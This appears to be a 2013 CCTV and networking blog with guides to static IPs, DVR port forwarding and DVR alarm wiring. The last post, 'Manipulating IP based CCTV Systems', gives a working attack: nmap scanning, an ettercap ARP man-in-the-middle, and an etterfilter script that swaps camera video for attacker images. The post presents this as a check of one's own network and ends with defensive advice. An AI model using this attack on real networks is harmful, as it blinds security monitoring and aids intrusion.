Thursday, August 22, 2013

How to Set up a Static IP Address on a Windows7 Computer

It is very important to setup a static ip address, if you are going to use port forwarding. When you have port forwarding setup, your router forwards ports to an ip address that you specify. This will probably work when you initially set it up, but after restarting your computer it may get a different ip address. When this happens the ports will no longer be forwarded to your computer's ip address. So the port forwarding configuration will not work.
What is an ip address?
IP addresses are four sets of numbers separated by periods that allow computers to identify each other. Every computer has at least one ip address, and two computers should never have the same ip address. If they do, neither of them will be able to connect to the internet. There is a lot of information at the following link. You don't need all of it. But if you want to know more about how networks work, you'll find it there.

Dynamic vs Static IPs
Most routers assign dynamic IP addresses by default. They do this because dynamic ip address networks require no configuration. The end user can simply plug their computer in, and their network will work. When ip addresses are assigned dynamically, the router is the one that assigns them. Every time a computer reboots it asks the router for an ip address. The router then hands it an ip address that has not already been handed out to another computer. This is important to note. When you set your computer to a static ip address, the router does not know that a computer is using that ip address. So the very same ip address may be handed to another computer later, and that will prevent both computers from connecting to the internet. So when you asign a static IP addresses, it's important to assign an IP address that will not be handed out to other computers by the dynamic IP address server. The dynamic IP address server is generally refered to as the dhcp server. 

Setting up a static ip for Windows 7.
If you have a printer, before you begin print out this page!


Step 1:
Open up the start menu, and look for the Search programs and files box. You should now see the following window.

Step 2:
Type cmd in the Search programs and files box, and press Enter on your keyboard. The will bring up a black command prompt window.
Step 3:
The command prompt may look different on your screen, but it doesn't really matter. Type ipconfig /all in that window, and then press the enter key. This will display a lot of information. If it scrolls off the top you may need to enlarge the window.

Step 4:
I want you to write down some of the information in this window. Take down the IP address, Subnet Mask, Default Gateway, and Name Servers. Make sure to note which is which. We are going to use this information a little bit later. We are only concerned with IPv4 entries, you can ignore the IPv6 stuff.

The name server entries are a bit complicated. Name Server is just another name for DNS(domain name server) server. Some router's act as a proxy between the actual name servers and your computer. You will know when this is the case, because the Default Gateway will list the same ip address as the Name Servers entry. We need to have the correct Name Server IP addresses. If we do not, you will not be able to browse the web. There are a couple ways to get these. The first way is to log into your router's web interface, and look at your router's status page. On that page you should see an entry for DNS Servers, or Name Servers. Write down the ip adresses of your Name Servers. Another way to get the correct Name Servers to use, is to give your ISP a call. They should know the ip addresses of your Name Servers right off. If they ask you why you need them, you can tell them you are trying to setup a static IP address on your computer. If they try to sell you a static external ip address, don't buy it. That's an entirely different thing that what you are trying to setup.

Type exit in this window, then press the enter key to close it. 

Step 5:
Once again open the start menu. This time click Control Panel.
Step 6:
Click on View Network Status and Tasks.
Step 7:
Single click Change adapter settings on the left side of your screen.
Step 8:
You might have more than one Internet connection listed here. You will need to determine which adapter is your connection to the Internet if this is the case. Right click on your network adapter and choose properties to open up the properties window of this internet connection.

Step 9:
Click Internet Protocol Version 4(TCP/IPv4) and then the Properties button.
Step 10:
Before you make any changes, write down the settings that you see on this page. If something goes wrong you can always change the settings back to what they were! You should see a dot in the Obtain an IP address automatically box. If you do not, your connection is already setup for a static ip. Just close all these windows and you are done.

Pick an ip address and enter it into the IP Address box. The ip address you choose should be very similar to the router's ip addres. Only the last number of the ip address should be different. If the router's ip address is 192.168.1.1, I might choose 192.168.1.10. The ip address you choose should end with a number between 1 and 254, and should not be the same as the router's ip address. Every device that connects to your network needs to have it's own ip address.

Put the subnet mask we previously found in the subnet mask section. The default gateway should go into the Default gateway box. Enter the dns servers we prevoiusly found into the two DNS Server boxes. Click okay all the way out of this menu.

If you find that you can not pull up webpages, the problem is most likely the dns numbers you entered. Give your ISP a call, and they will be able to tell you which dns servers to use. This is a question they answer all of the time. They will be able to tell you what you should use right away.

That's it you should be done! If you can't connect to the internet go back and change your configuration back to what it originally was.

Saturday, August 3, 2013

Port Forwarding using a Linksys Router - Configuring the DVR

Configuring the DVR to pick up an IP address
1. Right Click and select Main Menu 
2. Select  Setting
3. Select Network
4. Check the box next to DHCP and click Save
5.  Select Shutdown
 6.  Set to Restart system and click OK

 7. Right Click and select Main Menu (Now we are Identifying the IP address) Then Select Settings, Then Select Network.




 8. Uncheck the box next to DHCP, write down the IP Address, Subnet Mask, and Gateway, and click Save


To setup port forwarding on this router your computer needs to have a static ip address.
Or you can take alook at our Static IP Address guide to setup a static ip address. When you are finished setting up a static ip address, please come back to this page and enter the ip address you setup in the Static IP Address box below.




Open a web browser like Internet Explorer or Firefox. Enter the internal IP address of your router in the address bar of your browser.

In the picture above the address bar has http://www.google.com in it. Just replace all of that with the internal IP address of your router. By default the IP address should be set to 192.168.1.1. 
You should see a box prompting you for your username and password. Enter your username and password now. By default the username is admin, and the password is admin. Click the Ok button to log in to your router.



Click the Applications & Gaming link near the top of the page. 
You should now see a new menu. In this new menu, click Port Range Forwarding.




We will list a series of lines here that will show you exactly how to forward the ports you need to forward. Some DVR requires you to forward the following ports: 80,37777,37778. Go ahead and enter the settings shown above into the Port Range Forwarding menu. 




When you're finished, click Save Settings near the bottom of the screen to save your changes
 
And that's it! You're done!

Wednesday, July 31, 2013

DVR Alarm Output Application

Maximum Time I wrote for Sales/ Marketing / Commercial professional, but this post dedicated to Technical services Technician / Engineers. Many engineers say's How to Connect DVR Alarm output with Power Source/ whats the application etc etc.

A DVR (Digital Video Recorder) alarm output application refers to the use of the alarm output capabilities of a DVR system to trigger external actions or notifications in response to certain events or conditions detected by the DVR. These applications enhance the functionality and usefulness of DVR systems in various security and surveillance scenarios. Here are some common uses of DVR alarm output applications:
  1. Intrusion Detection: When a DVR detects motion or unauthorized entry in a secured area via connected surveillance cameras, it can trigger alarm outputs. These outputs can activate external alarms such as sirens, strobe lights, or even notify security personnel or authorities.

    Door Access Control: Some DVR systems are integrated with access control systems. When someone presents a valid access card or enters a PIN code, the DVR can send a signal to unlock a door or gate, granting access to an authorized individual.

    Smoke and Fire Detection: In situations where a DVR is part of a broader security and safety system, it can be connected to smoke detectors and fire alarms. When smoke or fire is detected, the DVR can trigger alarms, initiate evacuation procedures, and record video footage for investigative purposes.

    Perimeter Protection: For properties with fences or boundaries, outdoor surveillance cameras connected to a DVR can monitor the perimeter. If an intruder breaches the perimeter, the DVR can activate alarms or external lighting to deter the intruder.

    Temperature and Environmental Alerts: In some cases, DVR systems can monitor environmental conditions such as temperature or humidity. If conditions exceed predetermined thresholds (e.g., in server rooms or storage facilities), the DVR can send alerts or trigger alarms to prevent equipment damage.

    Emergency Notifications: DVR alarm outputs can be configured to send notifications to designated individuals or emergency response teams in case of critical events, ensuring a rapid response to security incidents.

    Integration with Other Systems: DVRs often support integration with other security and automation systems, including intrusion detection systems, access control systems, and building management systems. This integration allows for comprehensive security and automation applications.

    Remote Monitoring and Control: Many modern DVR systems allow for remote monitoring and control via mobile apps or web interfaces. Users can receive real-time alerts and take action (e.g., activate alarms or unlock doors) remotely.

    Customized Event Triggers: DVRs often offer programmable event triggers and outputs, allowing users to define specific conditions that lead to alarm activation. This customization caters to the unique security needs of different environments.


  2. Evidence Preservation: When an alarm is triggered, the DVR can automatically start recording video footage and save it to a secure location. This ensures that critical evidence is preserved for investigative and legal purposes.

The alarm output ports on the back of the DVR are each labeled with NO C NC. The NO stands for normally opened, NC means normally closed, and C means common contact. When the alarm is in the non-triggered state, it is normally closed which means that the circuit is allowing current to flow from C to NC. When the alarm is triggered, the relay is enabled and switched from the normally closed (NC) to normally opened (NO) position.

The security application used in these instructions uses a 12v DC powered strobe light. The goal is to turn the strobe light on when an alarm is triggered. For this application, we will use a door contact connected to the alarm input of the DVR to trigger the output. 

Please note that the DC transformer used to power the strobe light / siren is only used to power the siren and has nothing to do with the power supply of the DVR. The concept is that the strobe light sits dormant / un-powered (relay in the NC position) until the alarm goes off. When the alarm goes off, the relay is enabled and allows power to flow to the strobe light (via switching the power of the circuit to the NO position), which turns it on.

WARNING: DVR alarm outputs / relays have a maximum power rating. The alarm outputs of DVRs have a maximum power rating of 2A 120VAC, 2A 24VDC. This rating should accommodate almost all standard burglar alarm equipment, but you should check the specification of each device to be sure. 

If you are using these setup instructions to guide you on integrating alarm devices on other types of surveillance DVRs is strongly recommended that you consult the manual of your DVR to understand the maximum power that your DVR alarm outputs can use. Using an alarm device that draws more power than the relays of your DVR are rated at will cause damage to the relay terminals and / or can ruin the entire DVR.

DVR Alarm Output Wiring

The siren in this example uses a 12v DC power supply. These typically have a single 3.5mm plug on the end of the cable. If your DC transformer has a single plug (instead of separate positive and negative wires), you can use a PT-4 pigtail power lead to convert the plug to separate positive and negative wires.
  1. Connect the positive wire from the power supply to the NO terminal of the alarm-out port.
  2. Connect the negative wire from the power supply to the negative cable of your output device (in this case a strobe light).
  3.  Connect the positive wire from the strobe light to the C terminal of the alarm-out port.

DVR Alarm Output Configuration

In this example, we will use the input from a door sensor to trigger the alarm output (with strobe light connected to it). Please read these setup instructions for details about how the alarm input was configured for the door sensor.
Follows these instructions to configure the door sensor to trigger the alarm output.
1. Access the advanced setup of the DVR the clicking on the Home button, then select Setup > Advanced.

2. On the Advanced menu, click on the the Event tab, then click on the Sensor button.
3. On the sensor screen, you can can choose the action(s) that you want taken. To setup the strobe light on alarm output one to be triggered, click on the gear icon in the alarm section of the sensor action settings. This will open a sub-window that will let you choose to enable all alarm outputs or select the specific ones that you want triggered.
4. Click OK, then OK again to save the settings.
The alarm output of your DVR is now setup. When the door contact is opened, the strobe light will turn on.

It's important to configure and use DVR alarm output applications carefully to prevent false alarms and ensure that they are aligned with the security objectives of the organization or property. Proper integration, testing, and maintenance of the DVR system are essential to its effective operation in various security and surveillance scenarios.

Friday, July 26, 2013

Manipulating IP based CCTV Systems

Manipulating IP based CCTV Systems.
As you are probably aware, CCTV networks provide security to businesses around the world. However due to unsecure networks and poorly designed networks, network security cameras can be abused and there video streams redirected or modified. I am going to explain how this can be done, so you can check your network.

1. Connect to the network using wireless or penetrate a machine on lan.
2. Upload nmap and ettercap onto your machine or the machine on lan that you penetrated.
3. Scan the internal network using nmap and look for open ports in this example we will look for cameras.
4. once you find a camera run ettercap and scan the machines and perform mitm.
5. Watch the traffic and look for the ip of the cameras by sniffing the traffic coming through your machine.
6. Look at the tcp.dst and tcp.src of the packets this will tell you the source and destnation packets.
7. Once you find a suitable camera and the client that is watching create an etterfilter, One is provided below

#Example etterfilter
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Rubbish!”);
# note: replacement string is same length as original string
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“img src=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
replace(“IMG SRC=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
msg(“Filter Ran.\n”);
}

8. Save the file as a filter for example camera.filter
9. Compile that source using ‘etterfilter camera.filter -o camera.ef’
10. Now setup ettercap to use the filter each time the page is viewed across the network ‘ettercap -T -q -F camera.ef -M ARP // //’
11. Now in theory each time the camera is viewed by someone on the network they will see your camera image not the stream.

This attack has been used, and can be devastating to any business that depends on network cameras for security. Some businesses connect network cameras directly to the gateway router, if the gateway is penetrated then this places the cameras at risk.

Wireless networks also can provide attackers with a direct connection to your network once the encryption has been broken. Wireless networks with weak encryption and a lack of network monitoring can aid an attacker in becoming undetected on the network.

I recommend that you install either a hardware firewall that detects spoofing attacks inbetween the network cameras and router/switch, and use network encryption, this should provide a very difficult environment for an attacker.